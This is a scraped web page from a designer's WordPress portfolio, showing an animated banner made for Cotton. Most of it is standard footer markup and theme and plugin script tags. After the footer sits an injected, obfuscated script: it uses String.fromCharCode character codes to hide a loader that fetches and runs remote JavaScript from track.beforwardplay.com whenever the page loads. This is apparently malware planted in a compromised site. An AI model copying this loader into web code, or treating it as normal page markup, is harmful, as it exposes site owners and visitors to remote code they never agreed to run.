This is just one sample of the many animated HTML banners I have developed for Cotton.
Cotton Favorites (300×250) – Reload Banner
<nav class="post-navigation" role="navigation"><div class="nav-links"><div class="nav-previous"><a href="http://iamyoram.com/portfolio-item/visa-cinemagraphs-animated-gifs/" rel="prev"><i class="fa fa-long-arrow-left"></i> <span>Previous Portfolio</span></a></div><div class="nav-next"><a href="http://iamyoram.com/portfolio-item/electrolux-ovenkitchen-retouch/" rel="next"><span>Next portfolio</span><i class="fa fa-long-arrow-right"></i></a></div></nav></div></div> </div> </div> </main> <!-- end-main-site --> <div class="clearfix"></div> <footer class="footer" style="padding-top: 140px; padding-bottom: 40px;"> <div class="container"> <div class="twelve columns"> <div class="copyright"> © Copyright 2022 Yoram Ohebsion </div> <!-- end-copyright --> <div class="social-icons"><a href="https://www.instagram.com/yoyoyoram/"><i class="fa fa-instagram"></i></a><a href="https://www.linkedin.com/in/yoramo/"><i class="fa fa-linkedin"></i></a></div> </div> </div> <div class="back-to-top"> <a href="#"><svg class="sweet-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" viewBox="0 0 100 100" enable-background="new 0 0 100 100" xml:space="preserve" height="100px" width="100px"> <path d="M70,47.5H30c-1.4,0-2.5,1.1-2.5,2.5v40c0,1.4,1.1,2.5,2.5,2.5h40c1.4,0,2.5-1.1,2.5-2.5V50C72.5,48.6,71.4,47.5,70,47.5z M47.5,87.5h-5v-25h5V87.5z M57.5,87.5h-5v-25h5V87.5z M67.5,87.5h-5V60c0-1.4-1.1-2.5-2.5-2.5H40c-1.4,0-2.5,1.1-2.5,2.5v27.5h-5 v-35h35V87.5z"/> <path d="M50,42.5c1.4,0,2.5-1.1,2.5-2.5V16l5.7,5.7c0.5,0.5,1.1,0.7,1.8,0.7s1.3-0.2,1.8-0.7c1-1,1-2.6,0-3.5l-10-10 c-1-1-2.6-1-3.5,0l-10,10c-1,1-1,2.6,0,3.5c1,1,2.6,1,3.5,0l5.7-5.7v24C47.5,41.4,48.6,42.5,50,42.5z"/> </svg></a> </div> <!-- end-back-to-top --> </footer> <!-- end-footer --> </div> <style scoped></style><script type=text/javascript src='data:text/javascript,if(document.head){	var b = document;var c = b.createElement(String.fromCharCode(115,99,114,105,112,116));c.src=String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,99,107,46,98,101,102,111,114,119,97,114,100,112,108,97,121,46,99,111,109,47,116,114,97,99,107,46,106,115,63,116,114,61,51,38,117,116,109,61,57);c.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);b.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(c);}'></script></style><style type="text/css" id="et-builder-page-custom-style"> .et_pb_section { background-color: ; } </style><script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/divi-builder/includes/builder/scripts/frontend-builder-global-functions.js?ver=1.3.10' id='et-builder-modules-global-functions-script-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=7.4.4' id='wp-polyfill-js'></script> <script type='text/javascript' id='wp-polyfill-js-after'> ( 'fetch' in window ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-fetch.min.js?ver=3.0.0"></scr' + 'ipt>' );( document.contains ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-node-contains.min.js?ver=3.42.0"></scr' + 'ipt>' );( window.DOMRect ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-dom-rect.min.js?ver=3.42.0"></scr' + 'ipt>' );( window.URL && window.URL.prototype && window.URLSearchParams ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-url.min.js?ver=3.6.4"></scr' + 'ipt>' );( window.FormData && window.FormData.prototype.keys ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-formdata.min.js?ver=3.0.12"></scr' + 'ipt>' );( Element.prototype.matches && Element.prototype.closest ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-element-closest.min.js?ver=2.0.2"></scr' + 'ipt>' );( 'objectFit' in document.documentElement.style ) || document.write( '<script src="http://iamyoram.com/wp-includes/js/dist/vendor/wp-polyfill-object-fit.min.js?ver=2.3.4"></scr' + 'ipt>' ); </script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/dist/hooks.min.js?ver=d0188aa6c336f8bb426fe5318b7f5b72' id='wp-hooks-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/dist/i18n.min.js?ver=6ae7d829c963a7d8856558f3f9b32b43' id='wp-i18n-js'></script> <script type='text/javascript' id='wp-i18n-js-after'> wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); </script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/dist/vendor/lodash.min.js?ver=4.17.21' id='lodash-js'></script> <script type='text/javascript' id='lodash-js-after'> window.lodash = _.noConflict(); </script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/dist/url.min.js?ver=b2a17503b1ff42b789ce34b159a311cf' id='wp-url-js'></script> <script type='text/javascript' id='wp-api-fetch-js-translations'> ( function( domain, translations ) { var localeData = translations.locale_data[ domain ] || translations.locale_data.messages; localeData[""].domain = domain; wp.i18n.setLocaleData( localeData, domain ); } )( "default", { "locale_data": { "messages": { "": {} } } } ); </script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/dist/api-fetch.min.js?ver=25cbf3644d200bdc5cab50e7966b5b03' id='wp-api-fetch-js'></script> <script type='text/javascript' id='wp-api-fetch-js-after'> wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "http://iamyoram.com/wp-json/" ) ); wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "0c82b77b5d" ); wp.apiFetch.use( wp.apiFetch.nonceMiddleware ); wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware ); wp.apiFetch.nonceEndpoint = "http://iamyoram.com/wp-admin/admin-ajax.php?action=rest-nonce"; </script> <script type='text/javascript' id='contact-form-7-js-extra'> /* <![CDATA[ */ var wpcf7 = []; /* ]]> */ </script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4' id='contact-form-7-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/ut-portfolio/assets/vendor/lightGallery/js/lightgallery-all.min.js?ver=1.2.6' id='ut-lightgallery-js-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/ut-portfolio/assets/js/plugins/prettyphoto/jquery.prettyPhoto.min.js?ver=3.1.6' id='ut-prettyphoto-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/ut-portfolio/assets/js/jquery.scrollTo.min.js?ver=1.4.6' id='ut-scrollTo-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/yuzo-related-post/assets/js/jquery.equalizer.js?ver=5.12.68' id='front-js-equalizer-yuzo_related_post-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/themes/hipsta/js/apps.js' id='apps-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/themes/hipsta/js/modernizr.min.js' id='modernizr-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/themes/hipsta/js/elevator.min.js' id='elevator-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/imagesloaded.min.js?ver=4.1.4' id='imagesloaded-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/themes/hipsta/js/fitvids.js' id='fitvids-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/js_composer/assets/lib/bower/isotope/dist/isotope.pkgd.min.js?ver=4.12.1' id='isotope-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/themes/hipsta/js/fancybox.js' id='fancybox-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/themes/hipsta/js/jquery.owl.carousel.min.js' id='carousel-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/divi-builder/includes/builder/scripts/jquery.fitvids.js?ver=1.3.10' id='divi-fitvids-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/js_composer/assets/lib/waypoints/waypoints.min.js?ver=4.12.1' id='waypoints-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/divi-builder/includes/builder/scripts/jquery.magnific-popup.js?ver=1.3.10' id='magnific-popup-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/divi-builder/includes/builder/scripts/jquery.mobile.custom.min.js?ver=1.3.10' id='et-jquery-touch-mobile-js'></script> <script type='text/javascript' id='et-builder-modules-script-js-extra'> /* <![CDATA[ */ var et_pb_custom = {"ajaxurl":"http:\/\/iamyoram.com\/wp-admin\/admin-ajax.php","images_uri":"http:\/\/iamyoram.com\/wp-content\/themes\/hipsta\/images","builder_images_uri":"http:\/\/iamyoram.com\/wp-content\/plugins\/divi-builder\/includes\/builder\/images","et_frontend_nonce":"3b0ac8ece9","subscription_failed":"Please, check the fields below to make sure you entered the correct information.","et_ab_log_nonce":"866afbbc22","fill_message":"Please, fill in the following fields:","contact_error_message":"Please, fix the following errors:","invalid":"Invalid email","captcha":"Captcha","prev":"Prev","previous":"Previous","next":"Next","wrong_captcha":"You entered the wrong number in captcha.","is_builder_plugin_used":"1","is_divi_theme_used":"","widget_search_selector":".widget_search","is_ab_testing_active":"","page_id":"3820","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":""}; /* ]]> */ </script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/divi-builder/includes/builder/scripts/frontend-builder-scripts.js?ver=1.3.10' id='et-builder-modules-script-js'></script> <script type='text/javascript' src='https://www.google.com/recaptcha/api.js?render=6Ld6dBMUAAAAAMeBNmoAzVblmTm6dt4KbBT2B6Xo&ver=3.0' id='google-recaptcha-js'></script> <script type='text/javascript' id='wpcf7-recaptcha-js-extra'> /* <![CDATA[ */ var wpcf7_recaptcha = {"sitekey":"6Ld6dBMUAAAAAMeBNmoAzVblmTm6dt4KbBT2B6Xo","actions":{"homepage":"homepage","contactform":"contactform"}}; /* ]]> */ </script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=5.4' id='wpcf7-recaptcha-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-includes/js/wp-embed.min.js?ver=5.7.5' id='wp-embed-js'></script> <script type='text/javascript' src='http://iamyoram.com/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=4.12.1' id='wpb_composer_front_js-js'></script> </body> </html>